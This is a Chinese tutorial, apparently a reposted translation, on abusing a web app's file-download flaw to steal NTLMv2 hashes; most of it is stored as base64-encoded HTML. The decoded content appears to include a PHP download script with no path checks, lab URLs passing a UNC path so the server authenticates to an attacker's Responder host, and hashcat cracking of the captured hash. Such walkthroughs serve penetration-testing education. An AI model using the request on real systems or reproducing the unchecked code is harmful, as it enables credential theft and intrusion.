如何利用Web应用的文件下载漏洞偷取NTLMv2哈希

PGRpdiBjbGFzcz0ic2ltZGl0b3ItYm9keSI+PHA+5aSn5a625aW977yM6L+Z56+H5paH56ug5bCG5bGV56S64oCc5aaC5L2V5Yip55So5paH5Lu25LiL6L295ryP5rSe5p2l5YG35Y+WTlRMTXYy5ZOI5biM4oCd44CC5Zyo6L+Z5Liq5pS75Ye75Zy65pmv5Lit77yMV2Vi5bqU55So5a6J6KOF5Zyo5ZyoV2luZG93c+a0u+WKqOebruW9leWfn+S4reeahOS4gOmDqOWIhuacuuWZqOS4iu+8jOW5tuWFgeiuuOeUqOaIt+WcqOS4jeajgOafpeaWh+S7tui3r+W+hOeahOaDheWGteS4i+S4i+i9veaWh+S7tuOAgjwvcD48cD7mlLvlh7vogIXlj6/ku6XliKnnlKjmlofku7bkuIvovb3mvI/mtJ7orqnnm67moIfmnI3liqHlmajlr7nmlLvlh7vogIXmiYDmjqfliLbnmoTmnI3liqHlmajlj5Hlh7rkuIDkuKrkuIvovb3or7fmsYLvvIzmlLvlh7vogIXmnI3liqHlmajkuIrmraPov5DooYzigJxSZXNwb25kZXLigJ3vvIjkuIDkuKrlhoXnvZHmuJfpgI/lt6XlhbfvvInvvIzku6Xkvr/ku47nm67moIfmnI3liqHlmajkuK3lgbflj5ZOVExNdjLlk4jluIzjgIJSZXNwb25kZXLlt6XlhbfkuK3nmoTigJxTTULouqvku73pqozor4HmnI3liqHigJ3kvJrlvLrliLbnm67moIfmnI3liqHlmajliIfmjaLliLBOVExNdjLlk4jluIzouqvku73pqozor4HvvIzov5nmoLdOVExNdjLlsLHlj6/ku6XnlKjkuo7ku6XkuIvmg4XlhrXvvJoxLuWvueS7u+S9leKAnFNNQuetvuWQjeemgeeUqOKAneeahOacjeWKoeWZqOi/m+ihjOS4ree7p+aUu+WHu++8jDIu5oiW6ICF5pS75Ye76ICF5Y+v5Lul5bCd6K+V5L2/55So5ZOI5biM56C06Kej5bel5YW377yI5aaCSGFzaGNhdO+8ieaatOWKm+egtOino+WTiOW4jOOAgjwvcD48cD7orqnmiJHku6zku47lhbfmnInmlofku7bkuIvovb3mvI/mtJ7nmoRXZWLlupTnlKjlvIDlp4vvvIzkvb/nlKhTTULor7fmsYLku47ov5znqIvkuLvmnLrkuIvovb3mlofku7bjgII8L3A+PHA+UEhQ5pS75Ye7dXJs5pivPC9wPjxwPjxhIGhyZWY9Imh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9YW55X2ZpbGUudHh0Ij5odHRwOi8vMTkyLjE2OC41Ni4yMDA6ODA4MC9maWxlLnBocD9maWxlPWFueV9maWxlLnR4dDwvYT48L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIyMi5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlL2FkYmI1MzRlZjdiN2E2ODUwZTg3MjBiM2ZmMDVlMGM3LzIyLnBuZyIgd2lkdGg9Ijc2MyIgLz48YnIvPjwvcD48cD5QSFDmlofku7bku6PnoIHlpoLkuIs8L3A+PHByZT48P3BocCZuYnNwOwoKCmZ1bmN0aW9uJm5ic3A7ZmlsZV9kb3dubG9hZCgkZG93bmxvYWQpCnsKJm5ic3A7aWYoZmlsZV9leGlzdHMoJGRvd25sb2FkKSkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDtoZWFkZXIoIkNvbnRlbnQtRGVzYyZuYnNwO3JpcHRpb246Jm5ic3A7RmlsZSZuYnNwO1RyYW5zZmVyIik7Jm5ic3A7CiZuYnNwOyZuYnNwO2hlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzombmJzcDtiaW5hcnknKTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCdFeHBpcmVzOiZuYnNwOzAnKTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCdDYWNoZS1Db250cm9sOiZuYnNwO211c3QtcmV2YWxpZGF0ZSwmbmJzcDtwb3N0LWNoZWNrPTAsJm5ic3A7cHJlLWNoZWNrPTAnKTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCdQcmFnbWE6Jm5ic3A7cHVibGljJyk7CiZuYnNwOyZuYnNwO2hlYWRlcignQWNjZXB0LVJhbmdlczombmJzcDtieXRlcycpOwombmJzcDsmbmJzcDtoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246Jm5ic3A7YXR0YWNobWVudDsmbmJzcDtmaWxlbmFtZT0iJy5iYSZuYnNwO3NlbmFtZSgkZG93bmxvYWQpLiciJyk7Jm5ic3A7CiZuYnNwOyZuYnNwO2hlYWRlcignQ29udGVudC1MZW5ndGg6Jm5ic3A7JyZuYnNwOy4mbmJzcDtmaWxlc2l6ZSgkZG93bmxvYWQpKTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCdDb250ZW50LVR5cGU6Jm5ic3A7YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7Jm5ic3A7CiZuYnNwOyZuYnNwO29iX2NsZWFuKCk7CiZuYnNwOyZuYnNwO2ZsdXNoKCk7CiZuYnNwOyZuYnNwO3JlYWRmaWxlJm5ic3A7KCRkb3dubG9hZCk7CiZuYnNwOyZuYnNwO30KJm5ic3A7ZWxzZQombmJzcDsmbmJzcDt7CiZuYnNwOyZuYnNwO2VjaG8mbmJzcDsiPHNjJm5ic3A7cmlwdD5hbGVydCgnZmlsZSZuYnNwO25vdCZuYnNwO2ZvdW5kJyk7PC9zYyZuYnNwO3JpcHQ+IjsmbmJzcDsKJm5ic3A7Jm5ic3A7fQoKfQokZmlsZV9uYW1lPXRyaW0oJF9HRVRbJ2ZpbGUnXSk7CmZpbGVfZG93bmxvYWQoJGZpbGVfbmFtZSk7Cgo/PjwvcHJlPjxwPuWmguaenOaIkeS7rOaMh+WumuS7u+S9leS4gOS4quWtmOWcqOS6juezu+e7n+eahOaWh+S7tu+8jOmCo+S5iFBIUOiEmuacrOWwhuaJp+ihjOaWh+S7tuS4i+i9veaTjeS9nOOAguiEmuacrOaJp+ihjOS4i+i9veaTjeS9nOaXtuS8muajgOafpeaYr+ebuOWvuei3r+W+hOi/mOaYr+e7neWvuei3r+W+hO+8jOaJgOS7peaIkeS7rOWIqeeUqOi/meS4gOihjOS4uuWQkei/kOihjOS6hlJlc3BvbmRlcuW3peWFt+eahOaUu+WHu+iAheacjeWKoeWZqOWPkeWHulNNQuivt+axguOAgjwvcD48cD7lgYforr7lhYHorrjnlKjmiLfkuIvovb3mlofku7bnmoTlrp7pmYXor7fmsYLmmK88L3A+PHA+PGEgaHJlZj0iaHR0cDovLzE5Mi4xNjguNTYuMjAwOjgwODAvZmlsZS5waHA/ZmlsZT1ib3guaHRtbCI+aHR0cDovLzE5Mi4xNjguNTYuMjAwOjgwODAvZmlsZS5waHA/ZmlsZT1ib3guaHRtbDwvYT48L3A+PHA+6L+Q6KGMUmVzcG9uZGVy55qE5pyN5Yqh5Zmo55qESVDkuLoxOTIuMTY4LjU2LjEwMuOAgjwvcD48cCBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+PGltZyBhbHQ9IjMzLnBuZyIgc3JjPSJodHRwczovL25vc2VjLm9yZy9hdmF0YXIvdXBsb2Fkcy9hdHRhY2gvaW1hZ2UvODkzMmJlZTkyYzg0MTdlNjZmMTlmMTY3MTUxZWM3MzkvMzMucG5nIiB3aWR0aD0iNzkwIiAvPjxici8+PC9wPjxwPueOsOWcqO+8jOWQkVJlc3BvbmRlcuacjeWKoeWZqOWPkeWHulNNQuivt+axgu+8jOivreWPpeWmguS4izwvcD48cD48YSBocmVmPSJodHRwOi8vdGFyZ2V0X3dlYl9zZXJ2ZXIvdnVsbmVyYWJsZV9zYyByaXB0LnBocD9wYXJhbWV0ZXI9XFxSZXNwb25kZXJfc2VydmVyX0lQXGFueV9maWxlLnR4dCI+aHR0cDovL3RhcmdldF93ZWJfc2VydmVyL3Z1bG5lcmFibGVfc2MgcmlwdC5waHA/cGFyYW1ldGVyPVxcUmVzcG9uZGVyX3NlcnZlcl9JUFxhbnlfZmlsZS50eHQ8L2E+PC9wPjxwPuWcqOi/meS4quahiOS+i+S4re+8jHRhcmdldF93ZWJfc2VydmVy5pivMTkyLjE2OC41Ni4yMDA6ODA4MHZ1bG5lcmFibGVfc2MgcmlwdC5waHDmmK9maWxlLnBocOaWh+S7tuS4reWPguaVsGZpbGXnmoTlgLzvvIxSZXNwb25kZXJfc2VydmVyX0lQ5pivMTkyLjE2OC41Ni4xMDLjgII8L3A+PHA+5pyA57uIVVJM5pivPC9wPjxwPjxhIGhyZWY9Imh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9XFwxOTIuMTY4LjU2LjEwMlxib3guaHRtbCI+aHR0cDovLzE5Mi4xNjguNTYuMjAwOjgwODAvZmlsZS5waHA/ZmlsZT1cXDE5Mi4xNjguNTYuMTAyXGJveC5odG1sPC9hPjwvcD48cD7lpoLmnpzkuIDliIfpobrliKnvvIxSZXNwb25kZXLlsIbmjZXojrfnm67moIfmnI3liqHlmajnmoROVExNdjLlk4jluIzjgII8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI0NC5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzQ5ZTNhYmUzZjAwZjg1M2I0ZDYwMmQxYjdiNmU0MjYyLzQ0LnBuZyIgd2lkdGg9Ijc5MCIgLz48YnIvPjwvcD48cD7kuIrpnaLnmoTlm77niYfmmL7npLrkuoZSZXNwb25kZXLku47nm67moIfmnI3liqHlmajmjZXojrfnmoTlk4jluIzvvIzku47kuK3lj6/ku6XnnIvliLDnm67moIdXZWLmnI3liqHlmajmraPlnKjku6XnmoRXaW5kb3dz5rS75Yqo55uu5b2V55So5oi3dXNlcjPnmoTouqvku73ov5DooYzjgII8L3A+PHA+546w5Zyo77yM5Y+v5Lul5bCd6K+V5pq05Yqb56C06Kej6L+Z5Liq5o2V6I6355qE5ZOI5biM5p2l6I635b6X57qv5paH5pys5a+G56CB44CC4oCcSGFzaGNhdOKAneaYr+aJp+ihjOaVtOS4quegtOino+eahOacgOW/q+eahOW3peWFt+OAguWug+aUr+aMgUNQVS9HUFXnoLTop6PvvIzov5jmlK/mjIHlpJrnp43lk4jluIzmoLzlvI/jgIJIYWhjYXTlrpjmlrnkuIvovb3nvZHnq5nmmK88YSBocmVmPSJodHRwczovL2hhc2hraWxsZXIuY28udWsvZG93bmxvYWRzLmFzcHgiPmh0dHBzOi8vaGFzaGtpbGxlci5jby51ay9kb3dubG9hZHMuYXNweDwvYT7kvaDkuZ/lj6/ku6XlnKg8YSBocmVmPSJodHRwczovL2hhc2hjYXQubmV0L2hhc2hjYXQvIj5odHRwczovL2hhc2hjYXQubmV0L2hhc2hjYXQvPC9hPuS4i+i9veegtOino+Wtl+WFuOOAguWmguaenOi/kOawlOWlveeahOivne+8jOivt+mdmeWAmee7k+aenOOAgjwvcD48cCBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+PGltZyBhbHQ9IjU1LnBuZyIgc3JjPSJodHRwczovL25vc2VjLm9yZy9hdmF0YXIvdXBsb2Fkcy9hdHRhY2gvaW1hZ2UvOWQwYjQyNjAyMWNjODYxNzBlZWIzYmM3ZTFjYWI1OWYvNTUucG5nIiB3aWR0aD0iNzkwIiAvPjxici8+PC9wPjxwPkhhc2hjYXTmnIDlkI7op6Plh7rkuoZSZXNwb25kZXLmjZXojrfnmoROVExNdjLlk4jluIzvvIzlvpfliLDmmI7mloflr4bnoIHjgILnjrDlnKjmiJHku6zlj6/ku6Xlm7Tnu5VXaW5kb3dz5rS75Yqo55uu5b2V6L+b6KGM5pu06L+b5LiA5q2l55qE5riX6YCP5LqG77yM5Zug5Li65oiR5Lus5pyJ5LiA5Liq5Z+f55So5oi355qE5Yet6K+B44CCPC9wPjxwPuS7peS4iuWwseaYr+aIkeaJgOS6huino+eahOWFqOmDqOOAgjwvcD48cD7osKLosKLkvaDnmoTpmIXor7vjgII8L3A+PHByZT7ljp/mlofpk77mjqXvvJpodHRwOi8vd3d3Lm1hbm51bGludXgub3JnLzIwMTgvMTIvaG93LXRvLXN0ZWFsLW50bG12Mi1oYXNoZXMtdXNpbmctZmlsZS5odG1sPC9wcmU+CiAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOzwvZGl2PjxwPjxici8+PC9wPg==